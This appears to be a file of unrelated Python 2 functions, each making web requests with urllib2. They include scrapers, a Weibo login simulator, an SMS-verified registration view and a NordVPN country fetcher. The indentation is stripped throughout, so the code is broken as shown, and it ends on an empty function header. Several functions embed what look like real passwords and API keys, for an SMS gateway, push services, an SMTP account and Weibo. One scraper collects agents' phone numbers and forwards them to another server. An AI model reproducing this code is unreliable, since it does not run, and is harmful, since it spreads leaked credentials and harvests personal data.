def DownloadUpdate(self, file):
self.log('Downloading: %s' % file)
dirfile = os.path.join(self.UpdateTempDir,file)
dirname, filename = os.path.split(dirfile)
if not os.path.isdir(dirname):
try:
os.makedirs(dirname)
except:
self.log('Error creating directory: ' +dirname)
url = self.SVNPathAddress+urllib.quote(file)
try:
if re.findall(".xbt",url):
self.totalsize = int(re.findall("File length: ([0-9]*)",urllib2.urlopen(url+"?view=log").read())[0])
urllib.urlretrieve( url.decode("utf-8"), dirfile.decode("utf-8"))
else: urllib.urlretrieve( url.decode("utf-8"), dirfile.decode("utf-8") )
self.DownloadedFiles.append(urllib.unquote(url))
return 1
except:
try:
time.sleep(2)
if re.findall(".xbt",url):
self.totalsize = int(re.findall("File length: ([0-9]*)",urllib2.urlopen(url+"?view=log").read())[0])
urllib.urlretrieve(url.decode("utf-8"), dirfile.decode("utf-8"))
else: urllib.urlretrieve(url.decode("utf-8"), dirfile.decode("utf-8") )
urllib.urlretrieve(url.decode("utf-8"), dirfile.decode("utf-8"))
self.DownloadedFiles.append(urllib.unquote(url))
return 1
except:
self.log("Download failed: %s" % url)
self.DownloadFailedFiles.append(urllib.unquote(url))
return 0
def IsRunning(self):
"""Returns whether the server is up and running."""
try:
urllib2.urlopen(self.GetUrl() + '/status')
return True
except urllib2.URLError:
return False
def download_mango(url, path):
"""
Function: download_mango(url, path)
Usage: download_mango('http://www.mangareader.net/poyopoyo-kansatsu-nikki/1', os.getcwd())
Added in version: 0.1 Beta
"""
if path != os.getcwd():
pathchange(os.getcwd(), path)
urlContent = urllib2.urlopen(url).read()
imgUrls = re.findall('img .*?src="(.*?.jpg)"', urlContent)
for imgUrl in imgUrls:
try:
imgData = urllib2.urlopen(imgUrl).read()
fileName = basename(urlsplit(imgUrl)[2])
output = open(fileName, 'wb')
output.write(imgData)
output.close()
except IOError:
print "File not found or full disk. Try again."
sys.exit(1)
except KeyboardInterrupt:
print "Operation aborted manually."
sys.exit(1)
except:
print "Unknown error. If this persists, contact the author or create a ticket in the bugtracker."
sys.exit(1)
def registration(request):
form = AuthRegistrationForm(request.POST or None)
if request.method == 'POST' and form.is_valid():
user_id = User.objects.all().aggregate(Max('id'))['id__max'] + 1
username = '******' + str(user_id)
try:
user = User.objects.create_user(username=username,
password=generate_user_password(16),
email=form.cleaned_data['email'],
first_name=form.cleaned_data['first_name'],
last_name=form.cleaned_data['last_name'])
except IntegrityError:
user_id = User.objects.all().aggregate(Max('id'))['id__max'] + 1
username = '******' + str(user_id)
user = User.objects.create_user(username=username,
password=generate_user_password(16),
email=form.cleaned_data['email'],
first_name=form.cleaned_data['first_name'],
last_name=form.cleaned_data['last_name'])
user_profile = UserProfile.objects.create(user=user, phone=request.GET.get('phone'), sms_code=random.randint(100000, 999999), account_type=form.cleaned_data['account_type'])
urllib2.urlopen('http://smsc.ru/sys/send.php?login=Jango.kz&psw=AcEMXtLGz042Fc1ZJUSl&phones=+' + user_profile.phone + '&mes=Access code: ' + str(user_profile.sms_code))
Client.objects.create(profile=user_profile)
return redirect('/account/login/?phone='+user_profile.phone)
else:
return render(request, 'accounts/registration.html', {'form': form})
def check_proxy(self, specific={}):
""" Checks if proxy settings are set on the OS
Returns:
-- 1 when direct connection works fine
-- 2 when direct connection fails and any proxy is set in the OS
-- 3 and settings when direct connection fails but a proxy is set
see: https://docs.python.org/2/library/urllib.html#urllib.getproxies
"""
os_proxies = getproxies()
if len(os_proxies) == 0 and self.check_internet_connection:
logging.info("No proxy needed nor set. Direct connection works.")
return 1
elif len(os_proxies) == 0 and not self.check_internet_connection:
logging.error("Proxy not set in the OS. Needs to be specified")
return 2
else:
#
env['http_proxy'] = os_proxies.get("http")
env['https_proxy'] = os_proxies.get("https")
#
proxy = ProxyHandler({
'http': os_proxies.get("http"),
'https': os_proxies.get("https")
})
opener = build_opener(proxy)
install_opener(opener)
urlopen('http://www.google.com')
return 3, os_proxies
def recognise_eHentai(link, path):
url = str(link)
page = urllib2.urlopen(url).read()
soup = BeautifulSoup(page)
name = soup.findAll('title')
name = name[0].get_text().encode('utf-8')
name = str(name)
path = path + '\\' + name
download_eHentai(link, path)
pages = soup.find_all('span')
pages = pages[1].get_text()
pages = int(pages)
z = 0
while (pages > z):
z = z + 1
sopa = soup.find('div', 'sn')
sopa = sopa.find_all('a')
sopa = sopa[2].get('href')
url = str(sopa)
download_eHentai(url, path)
page = urllib2.urlopen(url).read()
soup = BeautifulSoup(page)
sopa = soup.find('div', 'sn')
sopa = sopa.find_all('a')
sopa = sopa[2].get('href')
download_eHentai(sopa, path)
def update_lyrics(request):
b = open('./artistList.txt', 'r')
bb = b.read()
b.close()
bbb = bb.split(chr(10))
for ar in bbb:
if ar.split('=')[1] == '1':
return index(request)
furl = "/"+ar.split('=')[1]+".htm"
ar = ar.split('=')[0]
artxt = ''
#req = urllib2.Request(u"http://mojim.com/"+ar+".html?t1")
#print "connected >> http://mojim.com/"+ar+".html?t1"
#response = urllib2.urlopen(req)
#result = response.read()
print '--',furl,'--'
if len(furl) > 0:
req2 = urllib2.Request("http://mojim.com"+furl)
response2 = urllib2.urlopen(req2)
result2 = response2.read()
furl2 = re.findall('/tw[0-9x]*.htm', result2)
iii = -1
if len(furl2) > 0:
for furl3 in furl2:
iii = iii + 1
if iii % 2 == 0: continue
try:
req3 = urllib2.Request("http://mojim.com"+furl3)
response3 = urllib2.urlopen(req3)
result3 = response3.read()
lasturl = re.findall('<dl><dt><br /><br />[^^]*</div>', result3)
#a = raw_input()
artxt = lasturl[0].replace('更多更詳盡歌詞','').replace(u'在 ','').replace(u'Mojim.com','').replace(u'※','').replace('魔鏡歌詞網','')
aaaaaaaa = re.findall(u'title="歌詞(.*)">', artxt)
bbbbbbbb = re.findall('<dd><br />(.*)</dd>', artxt)
bCnt = len(bbbbbbbb)
for bi in range(0, bCnt):
if len(bbbbbbbb[bi]) > 22:
lv = LyricsView()
ll = striphtml(bbbbbbbb[bi].encode('Shift_JIS').replace('<br />', '\r'))
ll = ll[:len(ll)-24]
lv.setParams({'artist':ar,'title':aaaaaaaa[bi],'lyrics':ll})
lv.save()
except:
pass
'''a = open(u''+ar+'.html', 'w')
a.write(artxt)
a.close()'''
return index(request)
def tag_to_server(scanid, tagid): try: myurl = tag_url % (scanid, tagid) urlopen(myurl) except: print 'error' print 'sent to server'
def scrap_items():
for itemlist in ITEMLIST:
soup = BS(urllib2.urlopen(''.join([LOLWIKI, itemlist])).read())
item_table = soup.find('table', class_='stdt sortable')
for tr in item_table.find_all('tr'):
tds = tr.find_all('td')
if len(tds) < 1:
continue
if tr.find('p') == None:
continue
item_name = tr.find('p').text.strip()
item_url = tr.find('img')['src']
if item_url.split(':')[0] == 'data':
item_url = tr.find('img')['data-src']
if not HOOKED:
continue
#store item in database
d_item = Item()
d_item.name = item_name
t_img = NamedTemporaryFile(delete=True)
t_img.write(urllib2.urlopen(item_url).read())
t_img.flush()
t_img.name = '.'.join([item_name, 'jpg'])
d_item.picture = File(t_img)
d_item.save()
def sendMessage(subject, content, chanel, mobile) :
if content :
content = subject + content
subject = "时时彩计划方案"
if chanel == "serverChan" :
key = "SCU749Tfa80c68db4805b9421f52d360f6614cb565696559f19e"
url = "http://sc.ftqq.com/" + key +".send"
parameters = {
"text" : subject, "desp" : content,
"key" : key
}
elif chanel == "pushBear" :
url = "http://api.pushbear.com/smart"
parameters = {
"sendkey" : "96-d296f0cdb565bae82a833fabcd860309",
"text" : subject,
"mobile" : mobile,
"desp" : content
}
if chanel == "mail" :
sendMail("smtp.126.com", "*****@*****.**", ["*****@*****.**", "*****@*****.**"],
subject, content, "126.com", "dhysgzs*211", format='plain')
return
postData = urllib.urlencode(parameters)
request = urllib2.Request(url, postData)
urllib2.urlopen(request)
def synopsis_mode_video():
##### Check for Preview files.
PreviewFile = "0"
for root, dirs, files in os.walk( _Resources_Preview ):
for filename in files:
PreviewFile = root + '\\' + filename
Current_Window.setProperty( 'Synopsis_Video_Preview_Path', PreviewFile )
Current_Window.setProperty( 'Synopsis_Video_Preview_Name', "Found "+filename )
if PreviewFile == "0":
log('| No preview video found')
xbmc.executebuiltin('Skin.Reset(SynopsisPreviewThere)')
else:
if PreviewFile.endswith('.xmv'):
Current_Window.setProperty( 'Player_Type','DVDPlayer' )
xbmc.executebuiltin('Skin.SetBool(SynopsisPreviewThere)')
elif PreviewFile.endswith('.strm'):
try:
urllib2.urlopen('http://www.google.com', timeout=1)
Current_Window.setProperty( 'Player_Type','MPlayer' )
xbmc.executebuiltin('Skin.SetBool(SynopsisPreviewThere)')
except urllib2.URLError as err:
xbmc.executebuiltin('Skin.Reset(SynopsisPreviewThere)')
else:
Current_Window.setProperty( 'Player_Type','MPlayer' )
xbmc.executebuiltin('Skin.SetBool(SynopsisPreviewThere)')
log('| Found ' + PreviewFile)
def flight_search_results(sid, searchid):
# 删除开头的$和逗号，并把数字转化成浮点类型
def parse_price(p):
return float(p[1:].replace(',', ''))
# 遍历检测
while 1:
time.sleep(2)
# 构造检测所用的 URL
url = 'http://www.kayak.com/s/basic/flight?'
url += 'searchid=%s&c=5&apimode=1&_sid_=%s&version=1' % (searchid, sid)
doc = xml.dom.minidom.parseString(urllib2.urlopen(url).read())
# 寻找 morepending 标签，并等待其不再为 true
more_pending = doc.getElementsByTagName('morepending')[0].firstChild
if more_pending is None or more_pending.data == 'false':
break
# 现在，下载完整列表
url = 'http://www.kayak.com/s/basic/flight?'
url += 'searchid=%s&c=999&apimode=1&_sid_=%s&version=1' % (searchid, sid)
doc = xml.dom.minidom.parseString(urllib2.urlopen(url).read())
# 得到不同元素组成的列表
prices = doc.getElementsByTagName('price')
departures = doc.getElementsByTagName('depart')
arrivals = doc.getElementsByTagName('arrive')
# 用 zip 将它们连在一起
return zip([p.firstChild.data.split(' ')[1] for p in departures],
[p.firstChild.data.split(' ')[1] for p in arrivals],
[parse_price(p.firstChild.data) for p in prices])
def get_proportional_hash_area(period):
""" Takes in periods accepted by P2Pool - hour, day, week, month or year,
then gets hash_data from the server running on localhost, parses it,
and calculates each miner's hash power against the total during that time.
"""
import urllib2, json
path1 = 'http://localhost:9332/web/graph_data/miner_hash_rates/last_'+period
result1 = json.load(urllib2.urlopen(path1))
path2 = 'http://localhost:9332/web/graph_data/miner_dead_hash_rates/last_'+period
result2 = json.load(urllib2.urlopen(path2))
hash_areas = {}
total_hash_area = 0
for row in result1:
for address in row[1]:
try:
hash_areas[address] += row[1][address] * row[2]
except KeyError:
hash_areas[address] = row[1][address] * row[2]
finally:
total_hash_area += row[1][address] * row[2]
for row in result2:
for address in row[1]:
hash_areas[address] -= row[1][address]*row[2]
total_hash_area -= row[1][address] * row[2]
proportions = {}
for address in hash_areas.keys():
proportions[address] = hash_areas[address] / total_hash_area
hash_areas[address] /= 1000000000000000
return hash_areas, proportions
def main():
#for p in range(1,intGetMaxPage +1):
#soup = BeautifulSoup()
try:
resp = urllib2.urlopen(getUrl,timeout=10)
soup = BeautifulSoup(resp)
soup = soup.find('div' ,{'id':'prodlist'})
#for k in soup.findAll("div", {'class': 'p-name'}): # 抓< div class='p=name'>...< /div>
for k in soup.findAll('a', href=True):
try:
url = k.get('href')
print k.text
print url
page_url = homeUrl + url
print page_url
resp_text_page = urllib2.urlopen(homeUrl + url, timeout=10)
soup_text_page = BeautifulSoup(resp_text_page)
contextPageUrl(soup_text_page,page_url)
except:
print "Unexpected error:", sys.exc_info()[0]
print "Unexpected error:", sys.exc_info()[1]
continue
except:
#continue
print "Unexpected error:", sys.exc_info()[0]
print "Unexpected error:", sys.exc_info()[1]
pass
def getUserAnswers(self, all):
# 获取最新的文件的qID和aID
latestFile = self.getLatestAnswerFileName()
latestQID = 0
latestAID = 0
if latestFile is None: # 没有符合格式的文件，需要全抓
all = True
else: # 计算出最新的questionID和answerID
pattern = re.compile('^\[\d{4}-\d{2}-\d{2}\].*-q(\d{1,50})-a(\d{1,50}).html$')
match = pattern.findall(latestFile)
for pp in match:
latestQID = pp[0]
latestAID = pp[1]
# 默认是要抓第一页的，顺便计算回答的总页数
pageContent = urllib2.urlopen("{}?page={}".
format(self.answerURL, self.startPage)).read()
d = pq(pageContent)
pageMax = self.getMaxPageNumber(d)
currentPage = self.startPage
ret = False
while True:
self.logging("parsing page {} of {}".format(currentPage, pageMax), True)
# 如果不是需要全部抓取，那么看看现在抓够了没有
# 遇到老答案之后，再向前寻找10个老答案，并更新
ret = self.parseAnswerAndSave(d, latestQID, latestAID, all)
if not all and ret: # 不用全抓，而且发现了重复
return
if currentPage >= pageMax: # 已经是最后一页
break
# 计算下一页的pq值
currentPage += 1
pageContent = urllib2.urlopen("{}?page={}".
format(self.answerURL, currentPage)).read()
d = pq(pageContent)
def login(): # 模拟登录程序
postdata = {
'entry': 'weibo',
'gateway': '1',
'from': '',
'savestate': '7',
'userticket': '1',
'ssosimplelogin': '******',
'vsnf': '1',
'vsnval': '',
'su': '',
'service': 'miniblog',
'servertime': '',
'nonce': '',
'pwencode': 'rsa2', #'wsse',
'sp': '',
'encoding': 'UTF-8',
####
'prelt':'115',
'rsakv':'',
####
'url':'http://weibo.com/ajaxlogin.php?framelogin=1&callback=parent.sinaSSOController.feedBackUrlCallBack',
#'http://weibo.com/ajaxlogin.php?framelogin=1&callback=parent.sinaSSOController.feedBackUrlCallBack',
'returntype': 'META'
}
global account
username = '******'%(account)
pwd = '1161895575'
url = 'http://login.sina.com.cn/sso/login.php?client=ssologin.js(v1.4.5)'
try:#主要获取servertime和nonce这两个随机的内容
servertime, nonce, pubkey, rsakv = get_servertime()
except:
return
#global postdata
postdata['servertime'] = servertime
postdata['nonce'] = nonce
postdata['rsakv']= rsakv
postdata['su'] = get_user(username)#对用户名进行加密
postdata['sp'] = get_pwd(pwd, servertime, nonce, pubkey)#对密码进行加密
postdata = urllib.urlencode(postdata)
#headers = {'User-Agent':'Mozilla/5.0 (X11; Linux i686; rv:8.0) Gecko/20100101 Firefox/8.0'}#设置post头部，根据不同的应用平台进行设定
headers = {'User-Agent':'Mozilla/5.0 (X11; Linux i686; rv:10.0) Gecko/20100101 Firefox/10.0'}
#headers = {'User-Agent':'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)'}
req = urllib2.Request(
url = url,
data = postdata,
headers = headers
)
result = urllib2.urlopen(req)
text = result.read()
p = re.compile('location\.replace\(\'(.*?)\'\)')
try:
login_url = p.search(text).group(1)
###print login_url
urllib2.urlopen(login_url)
print "Login successful!"
except:
print 'Login error!'
def checkNetConnection(self):
try:
urllib2.urlopen('http://www.google.com',timeout=7)
return True
except urllib2.URLError as err:
pass
return False
def get_tags():
socket_to = None
try:
socket_to = socket.getdefaulttimeout()
socket.setdefaulttimeout(EC2.TIMEOUT)
except Exception:
pass
try:
iam_role = urllib2.urlopen(EC2.URL + "/iam/security-credentials").read().strip()
iam_params = json.loads(urllib2.urlopen(EC2.URL + "/iam/security-credentials" + "/" + unicode(iam_role)).read().strip())
from checks.libs.boto.ec2.connection import EC2Connection
connection = EC2Connection(aws_access_key_id=iam_params['AccessKeyId'], aws_secret_access_key=iam_params['SecretAccessKey'], security_token=iam_params['Token'])
instance_object = connection.get_only_instances([EC2.metadata['instance-id']])[0]
EC2_tags = [u"%s:%s" % (tag_key, tag_value) for tag_key, tag_value in instance_object.tags.iteritems()]
except Exception:
log.exception("Problem retrieving custom EC2 tags")
EC2_tags = []
try:
if socket_to is None:
socket_to = 3
socket.setdefaulttimeout(socket_to)
except Exception:
pass
return EC2_tags
def fetchVideo_DBpedia(videoName):
def is_person(url, response):
try:
for item in response[url.replace('data', 'resource')[:-5]]['http://www.w3.org/1999/02/22-rdf-syntax-ns#type']:
if item['value'] == 'http://dbpedia.org/ontology/Person':
return True
return False
except:
return False
def find_disambiguates(url, response):
ret = []
try:
for item in response[url.replace('data', 'resource')[:-5]]['http://dbpedia.org/ontology/wikiPageDisambiguates']:
ret.append(item['value'])
except:
pass
return ret
try:
url="http://dbpedia.org/"
videoName='_'.join(word[0] + word[1:] for word in videoName.title().split())
titleUrl = url+"data/"+videoName+".json"
response = json.loads(urllib2.urlopen(titleUrl).read())
if is_person(titleUrl, response):
return True
ds = find_disambiguates(titleUrl, response)
for d in ds:
d = d.replace('resource', 'data') + ".json"
if is_person(d, json.loads(urllib2.urlopen(d).read())):
return True
except:
return False
return False
def test_enketo_remote_server_responses(self):
#just in case if we want to shift the testing back to the main server
testing_enketo_url = settings.ENKETO_URL
#testing_enketo_url = 'http://enketo-dev.formhub.org'
form_id = "test_%s" % re.sub(re.compile("\."), "_", str(time()))
server_url = "%s/%s" % (self.base_url, self.user.username)
enketo_url = '%slaunch/launchSurvey' % testing_enketo_url
values = {
'format': 'json',
'form_id': form_id,
'server_url': server_url
}
data = urllib.urlencode(values)
req = urllib2.Request(enketo_url, data)
try:
response = urllib2.urlopen(req)
response = json.loads(response.read())
success = response['success']
if not success and 'reason' in response:
fail_msg = "This enketo installation is for use by "\
"formhub.org users only."
if response['reason'].startswith(fail_msg):
raise SkipTest
return_url = response['url']
success = response['success']
self.assertTrue(success)
enketo_base_url = urlparse(settings.ENKETO_URL).netloc
return_base_url = urlparse(return_url).netloc
self.assertIn(enketo_base_url, return_base_url)
except urllib2.URLError:
self.assertTrue(False)
#second time
req2 = urllib2.Request(enketo_url, data)
try:
response2 = urllib2.urlopen(req2)
response2 = json.loads(response2.read())
return_url_2 = response2['url']
success2 = response2['success']
reason2 = response2['reason']
self.assertEqual(return_url, return_url_2)
self.assertFalse(success2)
self.assertEqual(reason2, "existing")
except urllib2.URLError:
self.assertTrue(False)
#error message
values['server_url'] = ""
data = urllib.urlencode(values)
req3 = urllib2.Request(enketo_url, data)
try:
response3 = urllib2.urlopen(req3)
response3 = json.loads(response3.read())
success3 = response3['success']
reason3 = response3['reason']
self.assertFalse(success3)
self.assertEqual(reason3, "empty")
except urllib2.URLError:
self.assertTrue(False)
def check_url(self, url):
try:
urllib2.urlopen(url).headers.getheader('Content-Length')
except urllib2.HTTPError:
print("404 error checking url: " + url)
return False
return True
def getSCLeg(partyDict):
houseSoup = BeautifulSoup(urllib2.urlopen('http://www.scstatehouse.gov/member.php?chamber=H&order=D').read())
senateSoup = BeautifulSoup(urllib2.urlopen('http://www.scstatehouse.gov/member.php?chamber=S&order=D').read())
houseTable = houseSoup.find('div', {'class': 'mainwidepanel'}).find_all('div', {'style': 'width: 325px; height: 135px; margin: 0 0 0 20px; text-align: left; float: left;'})
senateTable = senateSoup.find('div', {'class': 'mainwidepanel'}).find_all('div', {'style': 'width: 325px; height: 135px; margin: 0 0 0 20px; text-align: left; float: left;'})
dictList = []
for item in houseTable:
repInfo = {}
link = item.find('a')
if link is not None:
repInfo['Website'] = 'http://www.scstatehouse.gov' + link.get('href')
repInfo['Name'] = re.sub(r'\[.*$', '', link.string.strip()).strip().replace(' ', ' ').replace(' ', ' ')
repInfo['Party'] = partyDict[str(re.sub(r'^.*\[(.*)\].*$', r'\1', link.string.strip()))]
else:
repInfo['Name'] = 'VACANT'
repInfo['District'] = 'SC State House ' + re.sub(r'^.*(District [0-9]*).*$', r'\1', item.get_text())
dictList.append(repInfo)
for item in senateTable:
repInfo = {}
link = item.find('a')
if link is not None:
repInfo['Website'] = 'http://www.scstatehouse.gov' + link.get('href')
repInfo['Name'] = re.sub(r'\[.*$', '', link.string.strip()).strip().replace(' ', ' ').replace(' ', ' ')
repInfo['Party'] = partyDict[str(re.sub(r'^.*\[(.*)\].*$', r'\1', link.string.strip()))]
else:
repInfo['Name'] = 'VACANT'
repInfo['District'] = 'SC State Senate ' + re.sub(r'^.*(District [0-9]*).*$', r'\1', item.get_text())
dictList.append(repInfo)
return dictList
def parse(self,response):
#Get Access Token for Microsoft Translate
atrequest = urllib2.Request('https://datamarket.accesscontrol.windows.net/v2/OAuth2-13')
atrequest.add_data(atdata)
atresponse = urllib2.urlopen(atrequest)
access_token = json.loads(atresponse.read())['access_token']
hxs = HtmlXPathSelector(response)
sites = hxs.select('//span[contains(@class, "productsAzLink")]/a/text()').extract()
items = []
for site in sites:
text = []
item = IkeaItem()
item['name'],_,item['thing'] = unicode(site).partition(' ')
tosend = {'text': unicode(item['name']), 'from' : 'sv' , 'to' : 'en' }
request = urllib2.Request('http://api.microsofttranslator.com/v2/Http.svc/Translate?'+urllib.urlencode(tosend))
request.add_header('Authorization', 'Bearer '+access_token)
response = urllib2.urlopen(request)
doc = etree.fromstring(response.read())
for elem in doc.xpath('/foo:string', namespaces={'foo': 'http://schemas.microsoft.com/2003/10/Serialization/'}):
if elem.text:
elem_text = ' '.join(elem.text.split())
if len(elem_text) > 0:
text.append(elem_text)
item['translation'] = ' '.join(text)
items.append(item)
return items
def post(user,passwd):
fp = open("Score.txt", "w")
login_url="http://www.dean.gxnu.edu.cn/jwxt/index.php/api/user/login"
data={}
data['phone']="+8613512345678"
data['username']=user
data['password']=passwd
post_data=urllib.urlencode(data)
req=urllib2.urlopen(login_url,post_data)
content=req.read()
sid=content[56:82]
data2={}
data2['session_id']=sid
url2="http://www.dean.gxnu.edu.cn/jwxt/index.php/api/chengji/getyxcj"
sessionid="PHPSESSID="+sid
post_data2=urllib.urlencode(data2)
req2=urllib2.Request(url2,post_data2)
req2.add_header('Cookie',sessionid)
resp=urllib2.urlopen(req2)
content2=json.loads(resp.read().encode('utf-8'))
print u"课程名称\t\t成绩\t\t年度/学期\t\tbk\t\tcx\t\t绩点"
fp.writelines("课程名称\t\t成绩\t\t年度/学期\t\tbk\t\tcx\t\t绩点\n")
for subject in content2['msg']:
print subject['kcmc'] + "\t\t" + subject['cj'] + "\t\t" + subject['ndxq'][:-1] + "/" + subject['ndxq'][-1] + "\t\t" + subject['bk'] + "\t\t" + subject['cx'] + "\t\t" + subject['jd']
# print "%-40s\t%-10s" % (subject['kcmc'], subject['cj'])
fp.write(subject['kcmc'] + "\t\t" + subject['cj'] + "\t\t" + subject['ndxq'][:-1] + "/" + subject['ndxq'][-1] + "\t\t" + subject['bk'] + "\t\t" + subject['cx'] + "\t\t" + subject['jd'] + "\n")
fp.close()
def pullPhotos(query):
print "looking for", query
url1 = "https://www.google.com/search?biw=1309&bih=704&sei=bsHjUbvaEILqrQeA-YCYDw&tbs=itp:lineart&tbm=isch&"
query2 = urllib.urlencode({"q": query})
req = urllib2.Request(url1 + query2, headers={"User-Agent": "Chrome"})
response = urllib2.urlopen(req).read()
parser = MyHTMLParser()
parser.feed(response)
print image_lib + "\\buffer\\" + query
if not os.path.exists(image_lib + "\\buffer"):
os.mkdir(image_lib + "\\buffer") # make directory to put them in
if not os.path.exists(image_lib + "\\buffer\\" + query):
os.mkdir(image_lib + "\\buffer\\" + query) # make directory to put them in
for i in xrange(5):
req_cat = urllib2.Request(cat_urls[i], headers={"User-Agent": "Chrome"})
response_cat = urllib2.urlopen(req_cat).read()
name = query + os.sep + query + str(i) + ".jpg"
fd = open(image_lib + "\\buffer\\" + name, "wb")
fd.write(response_cat)
fd.close()
print name, "written", "complexity is ", countComponents(image_lib + "\\buffer\\" + name)
print "done"
def urlread(url, get={}, post={}, headers={}, timeout=None):
req = urllib2.Request(url, urllib.urlencode(get), headers=headers)
try:
response = urllib2.urlopen(req, urllib.urlencode(post), timeout).read()
except:
response = urllib2.urlopen(req, urllib.urlencode(post)).read()
return response
def start(self):
with QMutexLocker(self.mutex):
self.stoped = False
#for i in range(self.start_p,self.end_p):
for i in range(1,3):
while self.suspended:
self.wait()
return
if self.stoped:
return
url ="http://www.99fang.com/service/agency/a1/?p=%d" % i
print url
try:
r = urllib2.urlopen(url).read()
soup = BeautifulSoup(r)
box = soup.find("div",{'class':'agency-call-box'})
lis = box("li")
for li in lis:
tel = li.a.string
print tel
r =urllib2.urlopen("http://suzhou.jjr360.com/app.php?c=spider&a=index&city=&tel=%s" % tel)
print r.read()
except:
pass
else:
#self.emit(SIGNAL("updateTime()"))
time.sleep(1)
def getcommits_from_project(project):
global access_token
url1 = 'https://api.github.com/user'
request1=Request(url1)
request1.add_header('Authorization', 'token %s' % access_token)
response1 = urlopen(request1)
result1 = json.load(response1)
person = result1['login']
repo_info=['Fasta','js2839']
owner= repo_info[1]
repo = repo_info[0]
url = 'https://api.github.com/repos/'+owner+'/'+repo+'/commits'
data=[]
request = Request(url)
request.add_header('Authorization', 'token %s' % access_token)
response = urlopen(request)
result = json.load(response)
for i in range(len(result)):
print 'result0'
data.append([result[i]['commit']['message'], result[i]['commit']['author']['name'], result[i]['commit']['author']['date']])
print data[i]
for com in data:
(per,sub_name)=getPercentage(com[0])
err = save_to_db( per, sub_name, com[1], project, com[2])
return
def getmodelvendor(type,ipaddress):
if type=="thermostat":
modeladdress=ipaddress.replace('/sys','/tstat/model')
deviceModelUrl = urllib2.urlopen(modeladdress)
if (deviceModelUrl.getcode()==200):
deviceModel = parseJSONresponse(deviceModelUrl.read().decode("utf-8"),"model")
deviceVendor = "RadioThermostat"
deviceModelUrl.close()
return {'model':deviceModel,'vendor':deviceVendor}
elif type=="Philips":
deviceUrl = urllib2.urlopen(ipaddress)
dom=minidom.parse(deviceUrl)
deviceModel=dom.getElementsByTagName('modelName')[0].firstChild.data
deviceVendor=dom.getElementsByTagName('manufacturer')[0].firstChild.data
deviceUrl.close()
return {'model':deviceModel,'vendor':deviceVendor}
elif type=="WeMo":
deviceUrl = urllib2.urlopen(ipaddress)
dom=minidom.parse(deviceUrl)
deviceModel=dom.getElementsByTagName('modelName')[0].firstChild.data
deviceVendor=dom.getElementsByTagName('manufacturer')[0].firstChild.data
nickname = dom.getElementsByTagName('friendlyName')[0].firstChild.data
if str(deviceModel).lower() == 'socket':
deviceType = dom.getElementsByTagName('deviceType')[0].firstChild.data
deviceType = re.search('urn:Belkin:device:([A-Za-z]*):1',deviceType).groups()[0]
if (deviceType.lower() == 'controllee'):
deviceModel = deviceModel
else:
deviceModel = 'Unknown'
deviceUrl.close()
return {'model':deviceModel,'vendor':deviceVendor,'nickname':nickname}
def resolve_novamov(url, guid):
xbmc.log("Starting resolve_novamov with url: " + str(url) + " and guid: " + str(guid))
req = urllib2.Request(url)
req.add_header('User-Agent', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3')
response = urllib2.urlopen(req)
link=response.read()
response.close()
match1=re.compile('flashvars.file="(.+?)"').findall(link)
for file in match1:
file = file
match2=re.compile('flashvars.filekey="(.+?)"').findall(link)
for filekey in match2:
filekey = filekey
if not match1 or not match2:
return 'CONTENTREMOVED'
novaurl = 'http://www.novamov.com/api/player.api.php?user=undefined&key=' + filekey + '&codes=undefined&pass=undefined&file=' + file
req = urllib2.Request(novaurl)
req.add_header('User-Agent', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3')
response = urllib2.urlopen(req)
link=response.read()
response.close()
match3=re.compile('url=(.+?\.flv)').findall(link)
for link in match3:
link = link
print ('auth url is ' + str(link))
return link
def getNordVPNPreFetch(vpn_provider):
# Fetch and store country info from the magical interwebz
filename = getAddonPath(True, vpn_provider + "/" + NORD_LOCATIONS)
if xbmcvfs.exists(filename):
try:
st = xbmcvfs.Stat(filename)
create_time = int(st.st_ctime())
t = now()
# Fetch again if this is more than a day old otherwise use what there is
if create_time + 86400 < t:
debugTrace("Create time of " + filename + " is " +
str(create_time) + " time now is " + str(t) +
", fetching country data again")
else:
debugTrace("Create time of " + filename + " is " +
str(create_time) + " time now is " + str(t) +
", using existing data")
return True
except Exception as e:
errorTrace(
"alternativeNord.py",
"List of countries exist but couldn't get the time stamp for "
+ filename)
errorTrace("alternativeNord.py", str(e))
return False
# Download the JSON object of countries
response = ""
error = True
try:
download_url = "https://api.nordvpn.com/v1/servers/countries"
if ifHTTPTrace():
infoTrace("alternativeNord.py",
"Downloading list of countries using " + download_url)
else:
debugTrace("Downloading list of countries")
token = getTokenNordVPN()
req = urllib2.Request(download_url)
req.add_header("Authorization", "token:" + token)
t_before = now()
response = urllib2.urlopen(req)
country_data = json.load(response)
t_after = now()
response.close()
error = False
if ifJSONTrace():
infoTrace(
"alternativeNord.py",
"JSON received is \n" + json.dumps(country_data, indent=4))
if t_after - t_before > TIME_WARN:
infoTrace(
"alternativeNord.py", "Downloading list of countries took " +
str(t_after - t_before) + " seconds")
except urllib2.HTTPError as e:
errorTrace(
"alternativeNord.py",
"Couldn't retrieve the list of countries for " + vpn_provider)
errorTrace("alternativeNord.py", "API call was " + download_url)
errorTrace("alternativeNord.py",
"Response was " + str(e.code) + " " + e.reason)
errorTrace("alternativeNord.py", e.read())
except Exception as e:
errorTrace(
"alternativeNord.py",
"Couldn't retrieve the list of countries for " + vpn_provider)
errorTrace("alternativeNord.py", "API call was " + download_url)
errorTrace("alternativeNord.py",
"Response was " + str(type(e)) + " " + str(e))
if error:
# Use the existing list of countries if there is one as it'll be pretty much up to date
if xbmcvfs.exists(filename):
infoTrace("alternativeNord.py", "Using existing list of countries")
return True
else:
return False
# Parse the JSON to write out the countries and ID
try:
debugTrace("Parsing the JSON and writing the list of countries")
output = open(filename, 'w')
for item in country_data:
name = item["name"].replace(",", "")
output.write(name + "," + str(item["id"]) + "\n")
output.close()
return True
except Exception as e:
errorTrace(
"alternativeNord.py", "Couldn't write the list of countries for " +
vpn_provider + " to " + filename)
errorTrace("alternativeNord.py", str(e))
# Delete the country file if the was a problem creating it. This will force a download next time through
try:
if xbmcvfs.exists(filename):
errorTrace(
"alternativeNord.py", "Deleting country file " + filename +
" to clean up after previous error")
xbmcvfs.delete(filename)
except Exception as e:
errorTrace("alternativeNord.py",
"Couldn't delete the country file " + filename)
errorTrace("alternativeNord.py", str(e))
return False
def execute_script():
